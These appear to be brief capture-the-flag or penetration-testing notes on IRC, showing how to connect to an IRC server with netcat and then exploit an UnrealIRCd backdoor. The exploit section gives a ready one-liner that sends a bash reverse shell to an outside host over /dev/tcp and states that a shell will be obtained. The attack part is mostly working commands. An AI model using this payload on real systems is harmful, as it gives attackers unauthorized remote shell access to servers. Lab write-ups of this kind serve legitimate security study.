IRC

IRC is a global, distributed, real-time chat system that operates over the Internet. An IRC network consists of a set of interconnected servers. Once users are connected to an IRC server, they can converse with other users connected to any server in the IRC network

Connecting to an IRC Server

• As per the instructions in the RFC

nc 10.10.10.117 8067
PASS dnoscp
NICK dn
NAME dnoscp dn.htb dnoscp :DN
<Connetion Message>

UnRealIRCd Bind Exploit

• After initializing the connection to the IRC server

echo 'AB; /bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.3/80 0>&1"' | nc -w 3 10.10.10.117 8067

• Shell will be obtained